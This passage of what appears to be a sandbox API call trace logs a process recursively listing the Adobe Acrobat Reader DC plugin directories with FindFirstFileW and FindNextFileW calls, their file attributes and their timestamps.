hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0258.002] GetProcessHeap () returned 0xc10000 [0258.002] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0258.002] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0258.002] GetProcessHeap () returned 0xc10000 [0258.002] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0258.002] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.002] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.002] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.002] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.003] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.003] GetProcessHeap () returned 0xc10000 [0258.003] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0258.003] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e38798, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0258.003] GetProcessHeap () returned 0xc10000 [0258.003] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0258.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0258.003] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.004] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0258.004] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0258.004] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0258.004] GetProcessHeap () returned 0xc10000 [0258.004] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0258.004] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e38798, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0258.004] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0258.004] GetProcessHeap () returned 0xc10000 [0258.004] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0258.004] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0258.004] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 1 [0258.005] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc17, dwReserved0=0x0, dwReserved1=0x0, cFileName="selector.js", cAlternateFileName="")) returned 0 [0258.005] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0258.005] GetProcessHeap () returned 0xc10000 [0258.005] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0258.007] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0258.007] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0258.007] GetProcessHeap () returned 0xc10000 [0258.007] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0258.008] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-files-select", cAlternateFileName="MY-FIL~1")) returned 1 [0258.008] GetProcessHeap () returned 0xc10000 [0258.008] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0258.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files-select\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0258.012] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.012] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0258.012] GetProcessHeap () returned 0xc10000 [0258.013] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files-select\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0258.014] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.014] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.014] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0258.015] GetProcessHeap () returned 0xc10000 [0258.015] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0258.015] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0258.015] GetProcessHeap () returned 0xc10000 [0258.015] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files-select\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0258.015] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.016] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0258.016] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 0 [0258.016] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0258.016] GetProcessHeap () returned 0xc10000 [0258.016] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0258.016] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0258.016] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0258.016] GetProcessHeap () returned 0xc10000 [0258.016] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0258.016] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="my-recent-files", cAlternateFileName="MY-REC~2")) returned 1 [0258.017] GetProcessHeap () returned 0xc10000 [0258.017] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0258.017] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0258.019] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.019] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0258.019] GetProcessHeap () returned 0xc10000 [0258.019] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.019] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0258.019] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.019] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0258.019] FindClose (in: hFindFile=0x33e4a28 | out: hFindFile=0x33e4a28) returned 1 [0258.020] GetProcessHeap () returned 0xc10000 [0258.020] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0258.020] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0258.020] GetProcessHeap () returned 0xc10000 [0258.020] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0258.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-recent-files\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0258.021] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.021] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 